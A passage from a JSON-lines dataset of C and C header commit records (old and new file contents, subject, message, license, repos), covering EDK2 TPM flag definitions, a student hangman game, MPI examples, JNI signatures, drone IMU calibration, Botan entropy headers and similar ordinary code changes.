}\r\n\r\n\/\/\r\n\/\/ This variable is used to save TCG2 Management Flags and corresponding operations.\r\n\/\/ It should be protected from malicious software (e.g. Set it as read-only variable). \r\n\/\/\r\n#define TCG_PHYSICAL_PRESENCE_STORAGE_FLAGS_VARIABLE  L\"TcgPhysicalPresenceStorageFlags\"\r\ntypedef struct {\r\n  UINT32  PPFlags;\r\n} EFI_TCG_PHYSICAL_PRESENCE_STORAGE_FLAGS;\r\n\r\nextern EFI_GUID  gEfiTcgPhysicalPresenceStorageGuid;\r\n\r\n#endif\r\n\r\n","subject":"Add definition for Physical Presence storage flag.","message":"SecurityPkg: Add definition for Physical Presence storage flag.\n\nReviewed-by: Jiewen Yao <364a90bfebd1f362ebb7b48e4bf8ec010adef203@intel.com>\nReviewed-by: Chao Zhang <fed49a7a524fbe970930fd44cd2de5a9d4952d81@intel.com>\nContributed-under: TianoCore Contribution Agreement 1.0\nSigned-off-by: Eric Dong <fa9eeec52367040ac98013bc4b2913db170588f8@intel.com>\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"285a6f65380d98a239a952dece7d2cc60d694dcb","old_file":"A\/02\/15\/task2.c","new_file":"A\/02\/15\/task2.c","old_contents":"#include <stdio.h>\n#include <string.h>\n\nchar* find(char *haystack, char needle);\n\nint main(){\n\tchar input[401]={'\\0'}, symbol, *result;\n\t\t\n\tfgets(input, 401, stdin);\n\tsymbol=getchar();\n\t\n\tresult=find(input, symbol);\n\n\tif(result!=NULL){\n\tprintf(\"%ld\", result - input);\n\t}\n\telse{\n\t\tprintf(\"-1\");\n\t}\n\t\n\treturn 0;\n\t\n}\n\nchar* find(char *haystack, char needle){\n\tint i;\n\tchar *result=NULL;\n\tfor(i=0; i<400 && haystack[i]!='\\0'; i++){\n\t\tif(haystack[i]==needle){\n\t \t\tresult=&haystack[i];\n \t\t\tbreak;\n \t}\n\t}\n\treturn result;\n","new_contents":"#include <stdio.h>\n#include <string.h>\n\nchar* find(char *haystack, char needle);\n\nint main(){\n\tchar input[401]={'\\0'}, symbol, *result;\n\t\t\n\tfgets(input, 401, stdin);\n\tsymbol=getchar();\n\t\n\tresult=find(input, symbol);\n\n\tif(result!=NULL){\n\tprintf(\"%d\", (int)(result - input));\n\t}\n\telse{\n\t\tprintf(\"-1\");\n\t}\n\t\n\treturn 0;\n\t\n}\n\nchar* find(char *haystack, char needle){\n\tint i;\n\tchar *result=NULL;\n\tfor(i=0; i<400 && haystack[i]!='\\0'; i++){\n\t\tif(haystack[i]==needle){\n\t \t\tresult=&haystack[i];\n \t\t\tbreak;\n \t}\n\t}\n\treturn result;\n}\n","subject":"Add closing bracket to open function in task 02 homework 02","message":"Add closing bracket to open function in task 02 homework 02\n","lang":"C","license":"mit","repos":"elsys\/po-homework"}
{"commit":"884ccfb98a4cf5c1f12fb5b71271a238379e1d96","old_file":"examples\/src\/example_reduce.c","new_file":"examples\/src\/example_reduce.c","old_contents":"\/*\n * example2.c\n *\n *  Created on: 3 May 2016\n *      Author: nick\n *\/\n\n#include \"ndm.h\"\n#include <mpi.h>\n#include <stdio.h>\n\nvoid recvFunction(void*, NDM_Metadata);\n\nint main(int argc, char* argv[]) {\n  int provided;\n  MPI_Init_thread(&argc, &argv, MPI_THREAD_MULTIPLE, &provided);\n  ndmInit();\n\n  char uuid[10];\n  int data = 10;\n  ndmReduce(&data, 1, NDM_INT, NDM_SUM, recvFunction, 0, NDM_GLOBAL_GROUP, \"a\");\n  ndmGroupRank(NDM_GLOBAL_GROUP, &data);\n  ndmAllReduce(&data, 1, NDM_INT, NDM_MAX, recvFunction, NDM_GLOBAL_GROUP, \"maxrank\");\n  ndmFinalise();\n  MPI_Finalize();\n  return 0;\n}\n\nvoid recvFunction(void* buffer, NDM_Metadata metaData) {\n  printf(\"Got reduction data '%d' with uuid %s on pid %d\\n\", *((int*)buffer), metaData.unique_id, metaData.my_rank);\n}\n","new_contents":"\/*\n * example2.c\n *\n *  Created on: 3 May 2016\n *      Author: nick\n *\/\n\n#include \"ndm.h\"\n#include <mpi.h>\n#include <stdio.h>\n\nvoid recvFunction(void*, NDM_Metadata);\nvoid additiveRecvFunction(void*, NDM_Metadata);\n\nint main(int argc, char* argv[]) {\n  int provided;\n  MPI_Init_thread(&argc, &argv, MPI_THREAD_MULTIPLE, &provided);\n  ndmInit();\n\n  char uuid[10];\n  int data = 10;\n  ndmReduce(&data, 1, NDM_INT, NDM_SUM, recvFunction, 0, NDM_GLOBAL_GROUP, \"a\");\n  ndmGroupRank(NDM_GLOBAL_GROUP, &data);\n  ndmAllReduce(&data, 1, NDM_INT, NDM_MAX, recvFunction, NDM_GLOBAL_GROUP, \"maxrank\");\n  data = 5;\n  ndmReduceAdditive(&data, 1, NDM_INT, 12, 1, 0, NDM_SUM, additiveRecvFunction, 0, NDM_GLOBAL_GROUP, \"additive\");\n  ndmReduceAdditive(&data, 1, NDM_INT, 12, 1, 0, NDM_SUM, additiveRecvFunction, 0, NDM_GLOBAL_GROUP, \"additive\");\n  ndmFinalise();\n  MPI_Finalize();\n  return 0;\n}\n\nvoid recvFunction(void* buffer, NDM_Metadata metaData) {\n  printf(\"Got reduction data '%d' with uuid %s on pid %d\\n\", *((int*)buffer), metaData.unique_id, metaData.my_rank);\n}\n\nvoid additiveRecvFunction(void* buffer, NDM_Metadata metaData) { printf(\"Got additive data '%d'\\n\", *((int*)buffer)); }\n","subject":"Reduce example uses additive calls","message":"Reduce example uses additive calls\n","lang":"C","license":"mit","repos":"mesham\/ndm,mesham\/ndm"}
{"commit":"10491403f35d32d63537fb6409fb6282d9e480d3","old_file":"src\/main\/cpp\/JniHelpersCommon.h","new_file":"src\/main\/cpp\/JniHelpersCommon.h","old_contents":"#ifndef __JniHelpersCommon_h__\n#define __JniHelpersCommon_h__\n\n\/\/ Disable some annoying compiler warnings\n#if WIN32\n#pragma warning(disable: 4996) \/\/ \"Security\" warnings for vsnprintf\n#endif\n\n#if WIN32\n#define EXPORT __declspec(dllexport)\n#else\n#define EXPORT\n#endif\n\n#include <jni.h>\n\n#define kTypeInt \"I\"\n#define kTypeLong \"J\"\n#define kTypeFloat \"F\"\n#define kTypeDouble \"D\"\n#define kTypeBool \"Z\"\n#define kTypeByte \"B\"\n#define kTypeVoid \"V\"\n\n\/\/ Common Java classes\n#define kTypeJavaClass(x) \"Ljava\/lang\/\" #x \";\"\n#define kTypeJavaException \"L\/java\/lang\/Exception\"\n#define kTypeJavaString \"Ljava\/lang\/String\"\n\n\/\/ Array builder macro\n#define kTypeArray(x) \"[\" x\n\n#endif \/\/ __JniHelpersCommon_h__\n","new_contents":"#ifndef __JniHelpersCommon_h__\n#define __JniHelpersCommon_h__\n\n\/\/ Disable some annoying compiler warnings\n#if WIN32\n#pragma warning(disable: 4996) \/\/ \"Security\" warnings for vsnprintf\n#endif\n\n#if WIN32\n#define EXPORT __declspec(dllexport)\n#else\n#define EXPORT\n#endif\n\n#include <jni.h>\n\n#define kTypeInt \"I\"\n#define kTypeLong \"J\"\n#define kTypeFloat \"F\"\n#define kTypeDouble \"D\"\n#define kTypeBool \"Z\"\n#define kTypeByte \"B\"\n#define kTypeVoid \"V\"\n\n\/\/ Common Java classes\n#define kTypeJavaClass(x) \"Ljava\/lang\/\" #x \";\"\n#define kTypeJavaException \"Ljava\/lang\/Exception;\"\n#define kTypeJavaString \"Ljava\/lang\/String;\"\n\n\/\/ Array builder macro\n#define kTypeArray(x) \"[\" x\n\n#endif \/\/ __JniHelpersCommon_h__\n","subject":"Fix type signatures for some java bulit-ins","message":"Fix type signatures for some java bulit-ins\n","lang":"C","license":"apache-2.0","repos":"spotify\/JniHelpers,spotify\/JniHelpers,spotify\/JniHelpers,spotify\/JniHelpers"}
{"commit":"842d01a134bbd2f62308d0cfe8c1587575fbbef5","old_file":"Code\/Maveric_myCopter\/src\/config\/MAVsettings\/MAV102_conf_imu_rev4.h","new_file":"Code\/Maveric_myCopter\/src\/config\/MAVsettings\/MAV102_conf_imu_rev4.h","old_contents":"","new_contents":"\/*\n * conf_imu_rev4.h\n *\n * Created: 20\/11\/2013 22:21:49\n *  Author: sfx\n *\/ \n\n\n#ifndef CONF_IMU_REV4_H_\n#define CONF_IMU_REV4_H_\n\n\n#define RAW_GYRO_X 0\n#define RAW_GYRO_Y 1\n#define RAW_GYRO_Z 2\n\n#define RAW_ACC_X 0\n#define RAW_ACC_Y 1\n#define RAW_ACC_Z 2\n\n#define RAW_COMPASS_X 2\n#define RAW_COMPASS_Y 0\n#define RAW_COMPASS_Z 1\n\n\/\/ from datasheet: FS 2000dps --> 70 mdps\/digit\n\/\/ scale = 1\/(0.07 * PI \/ 180.0) = 818.5111\n#define RAW_GYRO_X_SCALE  818.5111\n#define RAW_GYRO_Y_SCALE  818.5111\n#define RAW_GYRO_Z_SCALE  818.5111\n\n#define GYRO_AXIS_X  1.0\n#define GYRO_AXIS_Y -1.0\n#define GYRO_AXIS_Z -1.0\n\n#define RAW_ACC_X_SCALE  4033.35\n#define RAW_ACC_Y_SCALE  3997.92\n#define RAW_ACC_Z_SCALE  4081.49\n\n#define ACC_BIAIS_X  -123.22\n#define ACC_BIAIS_Y   143.87\n#define ACC_BIAIS_Z   207.7505405\n\n#define ACC_AXIS_X  1.0\n#define ACC_AXIS_Y -1.0\n#define ACC_AXIS_Z -1.0\n\n#define RAW_MAG_X_SCALE 619.57\n#define RAW_MAG_Y_SCALE 638.39\n#define RAW_MAG_Z_SCALE 563.41\n\n#define MAG_BIAIS_X   -121.169232\n#define MAG_BIAIS_Y   -189.6727777\n#define MAG_BIAIS_Z   -162.58148486\n\n#define MAG_AXIS_X -1.0\n#define MAG_AXIS_Y -1.0\n#define MAG_AXIS_Z -1.0\n\n#endif \/* CONF_IMU_REV4_H_ *\/","subject":"Add calibration file for board J2 (MAV102)","message":"Add calibration file for board J2 (MAV102)\n","lang":"C","license":"bsd-3-clause","repos":"lis-epfl\/MAVRIC_Library,lis-epfl\/MAVRIC_Library,lis-epfl\/MAVRIC_Library,gburri\/MAVRIC_Library,gburri\/MAVRIC_Library,gburri\/MAVRIC_Library"}
{"commit":"27c11cd3fd8666e659e1eaad071e6a825216b0f1","old_file":"include\/synaptics.h","new_file":"include\/synaptics.h","old_contents":"","new_contents":"\/*\n * Permission to use, copy, modify, distribute, and sell this software\n * and its documentation for any purpose is hereby granted without\n * fee, provided that the above copyright notice appear in all copies\n * and that both that copyright notice and this permission notice\n * appear in supporting documentation, and that the name of Red Hat\n * not be used in advertising or publicity pertaining to distribution\n * of the software without specific, written prior permission.  Red\n * Hat makes no representations about the suitability of this software\n * for any purpose.  It is provided \"as is\" without express or implied\n * warranty.\n *\n * THE AUTHORS DISCLAIM ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,\n * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN\n * NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY SPECIAL, INDIRECT OR\n * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS\n * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\n * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#ifndef\t_SYNAPTICS_H_\n#define _SYNAPTICS_H_\n\n#include <X11\/Xdefs.h>\n\n\/******************************************************************************\n *\t\tPublic definitions.\n *\t\t\tUsed by driver and the shared memory configurator\n *****************************************************************************\/\n\n#define SHM_SYNAPTICS 23947\ntypedef struct _SynapticsSHM {\n    int version;                \/* Driver version *\/\n\n    \/* Current device state *\/\n    int x, y;                   \/* actual x, y coordinates *\/\n    int z;                      \/* pressure value *\/\n    int numFingers;             \/* number of fingers *\/\n    int fingerWidth;            \/* finger width value *\/\n    int left, right, up, down;  \/* left\/right\/up\/down buttons *\/\n    Bool multi[8];\n    Bool middle;\n} SynapticsSHM;\n\n\/*\n * Minimum and maximum values for scroll_button_repeat\n *\/\n#define SBR_MIN 10\n#define SBR_MAX 1000\n\n#endif                          \/* _SYNAPTICS_H_ *\/\n","subject":"Put SynapticsSHM back into the driver to be able to use synclient -m once again","message":"Put SynapticsSHM back into the driver to be able to use synclient -m once again\n","lang":"C","license":"mit","repos":"felipejfc\/xserver-xorg-input-synaptics,sencer\/synaptics,felipejfc\/xserver-xorg-input-synaptics,felipejfc\/xserver-xorg-input-synaptics,sencer\/synaptics"}
{"commit":"9e317ee873422d95bee44059585ea107f12d76ab","old_file":"alura\/c\/forca.c","new_file":"alura\/c\/forca.c","old_contents":"#include <stdio.h>\n#include <string.h>\n\nvoid abertura() {\n  printf(\"*******************\\n\");\n  printf(\"*  Jogo de Forca  *\\n\");\n  printf(\"*******************\\n\\n\");\n}\n\nint main() {\n  char palavrasecreta[20];\n\n  sprintf(palavrasecreta, \"MELANCIA\");\n\n  int acertou = 0;\n  int enforcou = 0;\n\n  char chutes[26];\n  int tentativas = 0;\n\n  abertura();\n\n  do {\n\n    for(int i = 0; i < strlen(palavrasecreta); i++) {\n\n      int achou = 0;\n\n      for(int j = 0; j < tentativas; j++) {\n        if(chutes[j] == palavrasecreta[i]) {\n          achou = 1;\n          break;\n        }\n      }\n\n      if(achou) {\n        printf(\"%c \", palavrasecreta[i]);\n      } else {\n        printf(\"_ \");\n      }\n    }\n\n    printf(\"\\n\");\n\n    char chute;\n    printf(\"Qual letra? \");\n    scanf(\" %c\", &chute);\n\n    chutes[tentativas] = chute;\n    tentativas++;\n\n  } while(!acertou && !enforcou);\n\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n\nvoid abertura() {\n  printf(\"*******************\\n\");\n  printf(\"*  Jogo de Forca  *\\n\");\n  printf(\"*******************\\n\\n\");\n}\n\nvoid chuta() {\n  char chute;\n  printf(\"Qual letra? \");\n  scanf(\" %c\", &chute);\n\n  chutes[tentativas] = chute;\n  tentativas++;\n}\n\nint main() {\n  char palavrasecreta[20];\n\n  sprintf(palavrasecreta, \"MELANCIA\");\n\n  int acertou = 0;\n  int enforcou = 0;\n\n  char chutes[26];\n  int tentativas = 0;\n\n  abertura();\n\n  do {\n\n    \/\/ imprime a palavra secreta\n    for(int i = 0; i < strlen(palavrasecreta); i++) {\n\n      int achou = 0;\n\n      \/\/ a letra ja foi chutada?\n      for(int j = 0; j < tentativas; j++) {\n        if(chutes[j] == palavrasecreta[i]) {\n          achou = 1;\n          break;\n        }\n      }\n\n      if(achou) {\n        printf(\"%c \", palavrasecreta[i]);\n      } else {\n        printf(\"_ \");\n      }\n    }\n\n    printf(\"\\n\");\n\n    chuta();\n\n  } while(!acertou && !enforcou);\n\n}\n","subject":"Update files, Alura, Introdução a C - Parte 2, Aula 4.2","message":"Update files, Alura, Introdução a C - Parte 2, Aula 4.2\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"bf666ed43d3e13c4234487585589f82370608d8e","old_file":"compat.h","new_file":"compat.h","old_contents":"#ifndef COMPAT_H\n#define COMPAT_H\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#ifndef __dead\n#define __dead\n#endif\n\n#ifndef HAVE_REALLOCARRAY\n\nvoid\t*reallocarray(void *, size_t, size_t);\n\n#endif \/* !HAVE_REALLOCARRAY *\/\n\n#endif \/* COMPAT_H *\/\n","new_contents":"#ifndef COMPAT_H\n#define COMPAT_H\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#ifdef __FreeBSD__\n#define __dead __dead2\n#endif \/* __FreeBSD__ *\/\n\n#if defined(__linux__) || defined(__CYGWIN__)\n#ifndef __dead\n#ifdef __GNUC__\n#define __dead\t\t__attribute__((__noreturn__))\n#else\n#define __dead\n#endif\n#endif\n#endif \/* __linux__ || __CYGWIN__ *\/\n\n#ifndef HAVE_REALLOCARRAY\n\nvoid\t*reallocarray(void *, size_t, size_t);\n\n#endif \/* !HAVE_REALLOCARRAY *\/\n\n#endif \/* COMPAT_H *\/\n","subject":"Revert \"Only define __dead if it's missing\"","message":"Revert \"Only define __dead if it's missing\"\n\nThis reverts commit 7f5694ac1cf3a68b462a9f22e03a12a719249ee5.\n\nPartial fix to #202.\n","lang":"C","license":"mit","repos":"DBOTW\/pick,thoughtbot\/pick,thoughtbot\/pick,DBOTW\/pick,DBOTW\/pick,calleerlandsson\/pick,calleerlandsson\/pick,thoughtbot\/pick,thoughtbot\/pick,calleerlandsson\/pick"}
{"commit":"3c593c947c55984815838c6ad7dce3b66cced4a3","old_file":"test\/CFrontend\/2008-02-11-AnnotateBuiltin.c","new_file":"test\/CFrontend\/2008-02-11-AnnotateBuiltin.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc %s -S -o - | llvm-as | llvm-dis | grep llvm.annotation\n\nint main() {\n  int x = 0;\n  return __builtin_annotation(x, \"annotate\");\n}\n\n","subject":"Test case for annotate builtin.","message":"Test case for annotate builtin.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@46999 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap"}
{"commit":"58a63187d7c783687c04349e59c72d2f3a04af42","old_file":"Smartling.i18n\/SmartlingLib.h","new_file":"Smartling.i18n\/SmartlingLib.h","old_contents":"\/\/ Copyright 2015 Smartling, Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this work except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/\n\/\/  SmartlingLib.h\n\/\/  SmartlingLib\n\/\/\n\/\/  Created by Pavel Ivashkov on 2015-05-15.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for SmartlingLib.\nFOUNDATION_EXPORT double SmartlingLibVersionNumber;\n\n\/\/! Project version string for SmartlingLib.\nFOUNDATION_EXPORT const unsigned char SmartlingLibVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <SmartlingLib\/PublicHeader.h>\n\n\n#import <SmartlingLib\/SLLocalization.h>\n","new_contents":"\/\/ Copyright 2015 Smartling, Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this work except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/\n\/\/  SmartlingLib.h\n\/\/  SmartlingLib\n\/\/\n\/\/  Created by Pavel Ivashkov on 2015-05-15.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for SmartlingLib.\nFOUNDATION_EXPORT double SmartlingLibVersionNumber;\n\n\/\/! Project version string for SmartlingLib.\nFOUNDATION_EXPORT const unsigned char SmartlingLibVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <SmartlingLib\/PublicHeader.h>\n\n\n#import \"SLLocalization.h\"\n","subject":"Fix import to be able to use Smartling.i18n as dynamic framework via cocoapods","message":"Fix import to be able to use Smartling.i18n as dynamic framework via cocoapods\n","lang":"C","license":"apache-2.0","repos":"Smartling\/ios-i18n,belkevich\/ios-i18n,Smartling\/ios-i18n,belkevich\/ios-i18n"}
{"commit":"22feab4c47ae7b5a6f41cbcdf83a6649ae62b0a1","old_file":"cpp\/Spellable.h","new_file":"cpp\/Spellable.h","old_contents":"\/\/ Spellable.h\n#ifndef SPELLABLE_H\n#define SPELLABLE_H\n\n#include <string>\n\ntemplate <class T>\nclass Spellable {\n\tT* value;\npublic:\n\tSpellable() {};\n\tSpellable(T* value): value(value) {}\n\tSpellable(T v) { value = new T(v); }\n\t\n\tvoid SetValue(T* v) { value = v; }\n\tvoid SetValue(T v) { value = new T(v); }\n\n\tT GetValue() const { return *value; }\n\t\n\tstd::string spell();\n\t\n\t\/\/ Let's do arithmetic!\n\tSpellable & operator=(const T &rhs) {\n\t\tSetValue(rhs);\n\t}\n\t\n\tSpellable & operator+=(const T &rhs) {\n\t\t*value += rhs;\n\t\treturn *this;\n\t}\n\t\n\tbool operator==(const T &other) const {\n\t\treturn *value == other;\n\t}\n\t\n\tbool operator==(const std::string &other) const {\n\t\treturn spell() == other;\n\t}\n};\n\n\/\/ http:\/\/www.codeproject.com\/Articles\/48575\/How-to-define-a-template-class-in-a-h-file-and-imp\n\/\/ The linker gets confused if we don't include the implementation here.\n#include \"Spellable.cpp\"\n\n\n#endif \/\/ Spellable.h\n","new_contents":"\/\/ Spellable.h\n#ifndef SPELLABLE_H\n#define SPELLABLE_H\n\n#include <string>\n\ntemplate <class T>\nclass Spellable {\n\tT* value;\npublic:\t\n\t\/\/ TODO: new values are never deleted!\n\tSpellable() { value = NULL; };\n\tSpellable(T* value): value(value) {}\n\tSpellable(T v) { value = new T(v); }\n\t\t\t\n\tvoid SetValue(T* v) { value = v; }\n\tvoid SetValue(T v) { value = new T(v); }\n\n\tT GetValue() const { return *value; }\n\n\tstd::string spell();\n\t\n\t\/\/ Let's do arithmetic!\n\tSpellable & operator=(const T &rhs) {\n\t\tSetValue(rhs);\n\t}\n\t\n\tSpellable & operator+=(const T &rhs) {\n    \t*value += rhs;\n\t\treturn *this;\n\t}\n\t\n\tbool operator==(const T &other) const {\n\t\treturn *value == other;\n\t}\n\t\n\tbool operator==(const std::string &other) const {\n\t\treturn spell() == other;\n\t}\nprotected:\n\tstd::string spellFraction();\n};\n\n\/\/ http:\/\/www.codeproject.com\/Articles\/48575\/How-to-define-a-template-class-in-a-h-file-and-imp\n\/\/ The linker gets confused if we don't include the implementation here.\n#include \"Spellable.cpp\"\n\n\n#endif \/\/ Spellable.h\n","subject":"Handle precision of fractions better","message":"Handle precision of fractions better","lang":"C","license":"cc0-1.0","repos":"dancxjo\/spell-dollars,dancxjo\/spell-dollars,dancxjo\/spell-dollars"}
{"commit":"cf1dc543f142263917468c19249d6a3e920b17b2","old_file":"src\/entropy\/win32_stats\/es_win32.h","new_file":"src\/entropy\/win32_stats\/es_win32.h","old_contents":"\/**\n* Win32 EntropySource Header File\n* (C) 1999-2008 Jack Lloyd\n*\/\n\n#ifndef BOTAN_ENTROPY_SRC_WIN32_H__\n#define BOTAN_ENTROPY_SRC_WIN32_H__\n\n#include <botan\/entropy_src.h>\n\nnamespace Botan {\n\n\/**\n* Win32 Entropy Source\n*\/\nclass BOTAN_DLL Win32_EntropySource : public EntropySource\n   {\n   public:\n      std::string name() const { return \"Win32 Statistics\"; }\n      void fast_poll(byte buf[], u32bit length);\n      void slow_poll(byte buf[], u32bit length);\n   };\n\n}\n\n#endif\n","new_contents":"\/**\n* Win32 EntropySource Header File\n* (C) 1999-2008 Jack Lloyd\n*\/\n\n#ifndef BOTAN_ENTROPY_SRC_WIN32_H__\n#define BOTAN_ENTROPY_SRC_WIN32_H__\n\n#include <botan\/entropy_src.h>\n\nnamespace Botan {\n\n\/**\n* Win32 Entropy Source\n*\/\nclass BOTAN_DLL Win32_EntropySource : public EntropySource\n   {\n   public:\n      std::string name() const { return \"Win32 Statistics\"; }\n\n      u32bit fast_poll(byte buf[], u32bit length);\n      u32bit slow_poll(byte buf[], u32bit length);\n   };\n\n}\n\n#endif\n","subject":"Fix return types in declaration","message":"Fix return types in declaration\n","lang":"C","license":"bsd-2-clause","repos":"webmaster128\/botan,randombit\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,webmaster128\/botan"}
{"commit":"303c1b421822d50d2f7313ae538e2dc33f096d33","old_file":"deps\/include\/cgen_intrinsics.h","new_file":"deps\/include\/cgen_intrinsics.h","old_contents":"\/*\nCopyright (c) 2015, Intel Corporation\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without \nmodification, are permitted provided that the following conditions are met:\n- Redistributions of source code must retain the above copyright notice, \n  this list of conditions and the following disclaimer.\n- Redistributions in binary form must reproduce the above copyright notice, \n  this list of conditions and the following disclaimer in the documentation \n  and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE \nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF \nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS \nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF \nTHE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\n\/\/ count trailing zeros with llvm semantics\nint cgen_cttz_int(int n)\n{\n    if(n==0) return sizeof(int);\n    return __builtin_ctz(n);\n}\n\nint cgen_flipsign_int(int64_t x, int64_t y)\n{\n    return (y >= 0 ? x : -x);\n}\n","new_contents":"\/*\nCopyright (c) 2015, Intel Corporation\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without \nmodification, are permitted provided that the following conditions are met:\n- Redistributions of source code must retain the above copyright notice, \n  this list of conditions and the following disclaimer.\n- Redistributions in binary form must reproduce the above copyright notice, \n  this list of conditions and the following disclaimer in the documentation \n  and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE \nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF \nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS \nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF \nTHE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\n\/\/ count trailing zeros with llvm semantics\nint64_t cgen_cttz_int(int64_t n)\n{\n    if(n==0) return sizeof(int64_t);\n    return __builtin_ctz(n);\n}\n\nint64_t cgen_flipsign_int(int64_t x, int64_t y)\n{\n    return (y >= 0 ? x : -x);\n}\n","subject":"Use int64_t for cgen intrinsics","message":"Use int64_t for cgen 